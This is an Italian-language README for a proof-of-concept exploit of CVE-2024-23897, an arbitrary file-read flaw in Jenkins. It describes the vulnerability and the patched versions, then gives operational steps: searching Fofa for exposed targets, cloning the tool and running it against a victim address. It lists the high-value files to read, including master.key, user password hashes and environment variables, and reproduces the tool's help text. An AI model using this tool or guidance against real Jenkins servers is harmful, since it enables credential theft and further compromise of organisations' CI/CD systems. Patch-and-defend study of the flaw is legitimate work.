
POC - Jenkins Vulnerabilità di Lettura File - CVE-2024-23897
CVE-2024-23897 è una vulnerabilità critica in Jenkins che consente a utenti non autenticati di leggere file arbitrari nel filesystem del controller Jenkins. Questo difetto deriva da una gestione impropria degli argomenti dei comandi nella libreria args4j, in particolare nelle operazioni da riga di comando dove un carattere @ seguito da un percorso di file può portare all'esposizione non autorizzata del contenuto dei file.
Questa vulnerabilità rappresenta un rischio significativo in quanto può consentire agli aggressori di accedere a informazioni sensibili, come chiavi crittografiche e file di configurazione, che possono essere sfruttate per ulteriori attacchi, inclusa l'esecuzione remota di codice (RCE). Il problema è particolarmente allarmante dato l'uso diffuso di Jenkins nelle pipeline CI/CD e il numero di istanze Jenkins esposte a livello globale.
Una correzione di sicurezza per questa vulnerabilità è stata rilasciata nelle versioni di Jenkins 2.442 e successive, così come nella versione LTS 2.426.3 e successive. Si consiglia vivamente agli utenti di aggiornare le proprie installazioni Jenkins per mitigare questo rischio e proteggere le informazioni sensibili.
Leggi di più — CVE-2024-23897
Disclaimer: Questo Proof of Concept (POC) è realizzato esclusivamente a scopo educativo e di test etico. L'utilizzo di questo strumento per attaccare bersagli senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità per l'uso improprio o i danni causati da questo programma.
Per trovare potenziali bersagli, usa Fofa (simile a Shodan.io):
Le versioni Jenkins affette includono fino alla 2.441 e fino alla 2.426.2 per Jenkins LTS.
Clona il repository:
git clone https://github.com/verylazytech/CVE-2024-23897
Esegui l'Exploit:
python3 CVE-2024-23897.py -u <Victim_ip:port>

Inserisci il file che desideri leggere nella shell (in questo caso /etc/passwd):

Alcuni file che potrebbero essere di interesse:
/proc/self/environ Variabili d'ambiente incluse JENKINS_HOME/proc/self/cmdline Argomenti della riga di comando/var/jenkins_home/users/users.xml Posizioni di archiviazione degli account utente/var/jenkins_home/users/<user_directory>/config.xml Hash della password BCrypt dell'utente/var/jenkins_home/secrets/master.key Chiave segreta di crittografia/etc/hosts Risoluzione DNS locale Linux/etc/passwd Account utente Linuxusage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag